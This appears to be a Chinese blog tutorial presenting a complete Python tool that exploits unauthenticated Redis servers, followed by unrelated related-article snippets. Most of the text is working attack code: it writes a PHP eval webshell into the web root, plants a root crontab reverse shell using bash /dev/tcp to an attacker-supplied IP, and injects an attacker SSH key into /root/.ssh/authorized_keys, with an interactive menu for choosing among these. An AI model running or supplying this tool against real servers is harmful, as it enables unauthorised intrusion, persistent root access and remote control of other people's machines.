python脚本实现Redis未授权访问漏洞利用
之前介绍过Redis未授权访问漏洞,本文使用python实现Redis未授权访问检测以及对应三种getshell。
1 测试环境准备
CentOS 7(192.168.198.66/24):安装 Redis 服务器并用 root 权限开启服务,关闭保护模式;安装并开启 httpd 服务;开启 ssh 服务。
Kali(192.168.198.172/24):测试脚本效果,模拟攻击机。
Win10:VS Code开发脚本,Xshell控制虚拟机。
2 未授权访问检测
首先需要检测 6379 端口是否开启,直接使用 socket 连接测试即可,is_port_open() 函数实现检测端口开启情况。
def is_port_open(host,port):s=socket.socket()s.settimeout(0.3)try:s.connect((host,port))except Exception as e:return Falseelse:return Truefinally:s.close()
然后尝试连接 Redis 服务器,这里用到redis模块中的StrictRedis(host,port,socket_timeout),通过client_list() 方法获取客户列表查看是否连接成功。如果成功连接到 Redis 服务器, client_list() 的调用就不会抛出异常。
try:client = redis.StrictRedis(host=ip, port=port, socket_timeout=0.3)ok_lst = client.client_list()print('[+] Connected to the Redis server successfully...')
except Exception as e:print(f'[-] An unexpected error occurred: {e}')
3 写入webshell
Redis命令:
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST[123]); ?>"
save
对应的 redis 模块的方法:
client.config_set('dir','/var/www/html')
client.config_set('dbfilename','shell.php')
client.set('x','<?php @eval($_POST[123]); ?>')
client.save()
增加设置根目录一句话木马名称和密码功能:
def Webshell(client):try:df_dir='/var/www/html'web_dir=input('Please enter the root directory of the target machine\'s website, input nothing to use the default path: /var/www/html\n')web_dir=web_dir.strip()if not web_dir: web_dir=df_dirname=input('Please enter the name of the PHP file you want to upload: ')passwd=input('Please enter the connection password: ')client.config_set('dir',web_dir)client.config_set('dbfilename',name+'.php')client.set('x','<?php @eval($_POST['+passwd+']); ?>')client.save()print("[+] Webshell "+name+".php"+" uploaded successfully...")except Exception as e:print(f"[-] Webshell upload failed: {e}")
4 建立反弹连接
同理,这里利用定时任务实现反弹连接。先设置 Redis 数据库目录到系统定时任务目录,名字设置为 root (相当于修改 root 用户的定时任务),增加用户设定 IP 和端口监听功能。
def Reverse(client):try:client.config_set('dir','/var/spool/cron')client.config_set('dbfilename','root')ip=input('Set the attacker\'s IP address: ')port=input('Set the listening port: ')payload='\n* * * * * bash -i >& /dev/tcp/'+ip+'/'+port+' 0>&1\n'client.set('x',payload)client.save()print("[+] Reverse shell task created successfully...")except Exception as e:print(f"[-] Reverse shell creation failed: {e}")
5 SSH keys 免密登录
把 Redis 的目录设置为 /root/.ssh,保存文件为 authorized_keys,实现在靶机中 authorized_keys 写入攻击者 ssh 公钥。
def Ssh(client):try:sshkey=input('Enter the SSH key you have generated: ')client.config_set('dir','/root/.ssh')client.config_set('dbfilename','authorized_keys')client.set('x','\n\n'+sshkey+'\n\n')client.save()print("[+] SSH key injected successfully.")except Exception as e:print(f"[-] SSH key injection failed: {e}")
5 完整代码
import numpy as np
import socket
import redis
import sys
def Hello_FK_Redis():a,b=60,30x,y,r=30,15,13img=np.zeros((b,a),dtype=str)for i in range(b):for j in range(a):dist=np.sqrt((i-y)**2+(j-x)**2)if r-1<dist<r+1: img[i,j]='*'elif abs(j-x)<1 and dist<r: img[i,j]='|'elif abs(i-y)<1 and dist<r: img[i,j]='-'img[img=='']=' 'for i in img: print(''.join(i))print('----Welcome to use Redis Vulnerability Exploitation Tool----')
def is_port_open(host,port):s=socket.socket()s.settimeout(0.3)try:s.connect((host,port))except Exception as e:return Falseelse:return Truefinally:s.close()
def Webshell(client):try:df_dir='/var/www/html'web_dir=input('Please enter the root directory of the target machine\'s website, input nothing to use the default path: /var/www/html\n')web_dir=web_dir.strip()if not web_dir: web_dir=df_dirname=input('Please enter the name of the PHP file you want to upload: ')passwd=input('Please enter the connection password: ')client.config_set('dir',web_dir)client.config_set('dbfilename',name+'.php')client.set('x','<?php @eval($_POST['+passwd+']); ?>')client.save()print("[+] Webshell "+name+".php"+" uploaded successfully...")except Exception as e:print(f"[-] Webshell upload failed: {e}")def Reverse(client):try:client.config_set('dir','/var/spool/cron')client.config_set('dbfilename','root')ip=input('Set the attacker\'s IP address: ')port=input('Set the listening port: ')ip=ip.strip()port=port.strip()payload='\n* * * * * bash -i >& /dev/tcp/'+ip+'/'+port+' 0>&1\n'client.set('x',payload)client.save()print("[+] Reverse shell task created successfully...")except Exception as e:print(f"[-] Reverse shell creation failed: {e}")
def Ssh(client):try:sshkey=input('Enter the SSH key you have generated: ')client.config_set('dir','/root/.ssh')client.config_set('dbfilename','authorized_keys')client.set('x','\n\n'+sshkey+'\n\n')client.save()print("[+] SSH key injected successfully.")except Exception as e:print(f"[-] SSH key injection failed: {e}")
if __name__ == '__main__':Hello_FK_Redis()ip=input('Please enter the target machine\'s IP address: ')port=6379if is_port_open(ip,port):print('[+] Port 6379 is open...')print('[*] Trying to connect Redis server...')try:client=redis.StrictRedis(host=ip,port=port,socket_timeout=0.3)ok_lst=client.client_list()print('[+] Connected to the Redis server successfully...')print('Please choose the exploit method you want to use:\nEnter 1 for webshell\nEnter 2 for establishing a reverse connection\nEnter 3 for SSH key-based authentication\nOr any other character to exit...')try:c=int(input())if c==1: Webshell(client)elif c==2: Reverse(client)elif c==3: Ssh(client)else: print('[*] Exiting...')sys.exit()except Exception:print('[*] Exiting...')sys.exit()except Exception as e:print(f'[-] An unexpected error occurred: {e}')else:print('[-] Port 6379 is not open...')
6 测试效果
webshell


反弹连接
监听端口:7777

下面输入攻击机端口保证与监听的攻击机和端口一致:


免密登录
在 kali 中 .ssh 复制公钥 id_rsa.pub 的内容

免密登录:

相关文章:
python脚本实现Redis未授权访问漏洞利用
之前介绍过Redis未授权访问漏洞,本文使用python实现Redis未授权访问检测以及对应三种getshell。 1 测试环境准备 CentOS 7(192.168.198.66/24):安装 Redis 服务器并用 root 权限开启服务,关闭保护模式;安…...
简单线性回归分析-基于R语言
本题中,在不含截距的简单线性回归中,用零假设对统计量进行假设检验。首先,我们使用下面方法生成预测变量x和响应变量y。 set.seed(1) x <- rnorm(100) y <- 2*xrnorm(100) (a)不含截距的线性回归模型构建。 &…...
上海理工大学《2023年+2019年867自动控制原理真题》 (完整版)
本文内容,全部选自自动化考研联盟的:《上海理工大学867自控考研资料》的真题篇。后续会持续更新更多学校,更多年份的真题,记得关注哦~ 目录 2023年真题 2019年真题 Part1:2023年2019年完整版真题 2023年真题 2019年…...
计算机网络面试题——第三篇
1. TCP超时重传机制是为了解决什么问题 因为TCP是一种面向连接的协议,需要保证数据可靠传输。而在数据传输过程中,由于网络阻塞、链路错误等原因,数据包可能会丢失或者延迟到达目的地。因此,若未在指定时间内收到对方的确认应答&…...
Elasticsearch 开放推理 API 增加了对 Google AI Studio 的支持
作者:来自 Elastic Jeff Vestal 我们很高兴地宣布 Elasticsearch 的开放推理 API 支持 Gemini 开发者 API。使用 Google AI Studio 时,开发者现在可以与 Elasticsearch 索引中的数据进行聊天、运行实验并使用 Google Cloud 的模型(例如 Gemin…...
react-问卷星项目(7)
实战 React表单组件 入门 重点在于change的时候改变state的值,类似vue的双向数据绑定v-model,即数据更新的时候页面同步更新,页面数据更新时数据源也能获得最新的值,只是Vue中设置在data中的属性默认绑定,React中需…...
【git】main|REBASE 2/6
很久没合并代码合并出现冲突,自动进入了 main|REBASE 2/6 的提示: 【git】main|REBASE 2/6 It looks like you’ve encountered several merge conflicts after a git pull operation while a rebase is in progress. Here’s how you can resolve these conflict…...
51单片机的水质检测系统【proteus仿真+程序+报告+原理图+演示视频】
1、主要功能 该系统由AT89C51/STC89C52单片机LCD1602显示模块温度传感器ph传感器浑浊度传感器蓝牙继电器LED、按键和蜂鸣器等模块构成。适用于水质监测系统,含检测和调整水温、浑浊度、ph等相似项目。 可实现功能: 1、LCD1602实时显示水温、水体ph和浑浊度 2、温…...
【python面试宝典7】线程池,模块和包
目录标 题目37:解释一下线程池的工作原理。题目38:举例说明什么情况下会出现KeyError、TypeError、ValueError。题目39:说出下面代码的运行结果。题目40:如何读取大文件,例如内存只有4G,如何读取一个大小为…...
Android input系统原理二
1.inputmanager启动源码分析 在SystemServer.java中构造了 inputmanagerservice的对象,在其构造函数中,最重要的是这个nativeInit函数。 下面是核心代码 inputManager new InputManagerService(context);public InputManagerService(Context context)…...
Oracle登录报错-ORA-01017: invalid username/password;logon denied
接上文:Oracle创建用户报错-ORA-65096: invalid common user or role name 我以为 按照上文在PDB里创建了用户,我以为就可以用PLSQL远程连接了,远程服务器上也安装了对应版本的Oracle客户端,但是我想多了,客户只是新建…...
JavaScript 获取浏览器本地数据的4种方式
JavaScript 获取浏览器本地数据的方式 我们在做Web开发中,客户端存储机制对于在浏览器中持久化数据至关重要。这些机制允许开发者存储用户偏好设置、应用状态以及其他关键信息,从而增强用户体验。本文将介绍几种常用的JavaScript获取浏览器本地数据的方…...
77寸OLED透明触摸屏有哪些应用场景
说到77寸OLED透明触摸屏,那可真是市场营销中的一大亮点,应用场景多到数不清!我这就给你细数几个热门的: 商业展示:这可是77寸OLED透明触摸屏的拿手好戏!在高端零售店铺里,它可以作为陈列窗口&am…...
二分解题的奇技淫巧都有哪些,你还不会吗?
先说一下我为什么要写这篇文章。 “二分“ 查找 or ”二分“ 答案的思想大家想必都知道吧(如果不懂,可以看一下我之前写的一篇文章)。 二分求解 可是呢?思想都会,做题的时候,就懵圈了。 这个题竟然考的是…...
LeetCode-871 最低加油次数
重启力扣每日一题系列! 因为过去两个月里掉粉掉的好严重,我想大抵是因为更新的频率不如上半年了,如果我重启了每日一题系列那岂不是至少是每日一更☝🤓? 也不是每天都更,我有两不更,特难的就不…...
OpenCV-OCR
文章目录 一、OCR技术的基本原理二、OpenCV在OCR识别中的应用1.图像预处理2.文字区域检测3.OCR识别:4.后处理: 三、OCR识别示例代码四、注意事项 OpenCV-OCR主要涉及使用OpenCV库进行光学字符识别(OCR)的技术。OCR技术可以识别图像…...
Linux卸载mysql
一、查看当前安装mysql情况,查找以前是否装有mysql rpm -qa|grep -i mysql二、停止MySQL服务 三、删除mysql库和文件 查找MySQL库 # 查找命令 find / -name mysql# 显示结果 /var/lib/mysql/var/lib/mysql/mysql/usr/lib64/mysql删除对应的mysql目录 rm -rf /v…...
【大语言模型-论文精读】用于医疗领域摘要任务的大型语言模型评估综述
【大语言模型-论文精读】用于医疗领域摘要任务的大型语言模型评估综述 论文信息: 用于医疗领域摘要任务的大型语言模型评估:一篇叙述性综述, 文章是由 Emma Croxford , Yanjun Gao 博士 , Nicholas Pellegrino , Karen K. Wong 等人近期合作…...
图吧工具箱
图吧工具箱202309绿色版自动解压程序R2.exe,永久有效 链接:https://pan.baidu.com/s/1M6TI7Git8bXOzZX_qZ3LJw?pwdzked 提取码:zked...
vue2 + View design 使用inputNumber设置默认值为undefined但展示数据为1且表单校验不通过的原因
文章目录 一、背景二、操作步骤1.复现前的准备工作(1)vue版本和view design 版本(2)创建一个组件(组件中根据类型渲染不同的组件)(3)在list.vue页面中引入组件,传入配置&…...
51c自动驾驶~合集58
我自己的原文哦~ https://blog.51cto.com/whaosoft/13967107 #CCA-Attention 全局池化局部保留,CCA-Attention为LLM长文本建模带来突破性进展 琶洲实验室、华南理工大学联合推出关键上下文感知注意力机制(CCA-Attention),…...
DIY|Mac 搭建 ESP-IDF 开发环境及编译小智 AI
前一阵子在百度 AI 开发者大会上,看到基于小智 AI DIY 玩具的演示,感觉有点意思,想着自己也来试试。 如果只是想烧录现成的固件,乐鑫官方除了提供了 Windows 版本的 Flash 下载工具 之外,还提供了基于网页版的 ESP LA…...
SpringBoot+uniapp 的 Champion 俱乐部微信小程序设计与实现,论文初版实现
摘要 本论文旨在设计并实现基于 SpringBoot 和 uniapp 的 Champion 俱乐部微信小程序,以满足俱乐部线上活动推广、会员管理、社交互动等需求。通过 SpringBoot 搭建后端服务,提供稳定高效的数据处理与业务逻辑支持;利用 uniapp 实现跨平台前…...
【决胜公务员考试】求职OMG——见面课测验1
2025最新版!!!6.8截至答题,大家注意呀! 博主码字不易点个关注吧,祝期末顺利~~ 1.单选题(2分) 下列说法错误的是:( B ) A.选调生属于公务员系统 B.公务员属于事业编 C.选调生有基层锻炼的要求 D…...
解决本地部署 SmolVLM2 大语言模型运行 flash-attn 报错
出现的问题 安装 flash-attn 会一直卡在 build 那一步或者运行报错 解决办法 是因为你安装的 flash-attn 版本没有对应上,所以报错,到 https://github.com/Dao-AILab/flash-attention/releases 下载对应版本,cu、torch、cp 的版本一定要对…...
select、poll、epoll 与 Reactor 模式
在高并发网络编程领域,高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表,以及基于它们实现的 Reactor 模式,为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。 一、I…...
dify打造数据可视化图表
一、概述 在日常工作和学习中,我们经常需要和数据打交道。无论是分析报告、项目展示,还是简单的数据洞察,一个清晰直观的图表,往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server,由蚂蚁集团 AntV 团队…...
OPENCV形态学基础之二腐蚀
一.腐蚀的原理 (图1) 数学表达式:dst(x,y) erode(src(x,y)) min(x,y)src(xx,yy) 腐蚀也是图像形态学的基本功能之一,腐蚀跟膨胀属于反向操作,膨胀是把图像图像变大,而腐蚀就是把图像变小。腐蚀后的图像变小变暗淡。 腐蚀…...
AI,如何重构理解、匹配与决策?
AI 时代,我们如何理解消费? 作者|王彬 封面|Unplash 人们通过信息理解世界。 曾几何时,PC 与移动互联网重塑了人们的购物路径:信息变得唾手可得,商品决策变得高度依赖内容。 但 AI 时代的来…...
Reasoning over Uncertain Text by Generative Large Language Models
https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829 1. 概述 文本中的不确定性在许多语境中传达,从日常对话到特定领域的文档(例如医学文档)(Heritage 2013;Landmark、Gulbrandsen 和 Svenevei…...
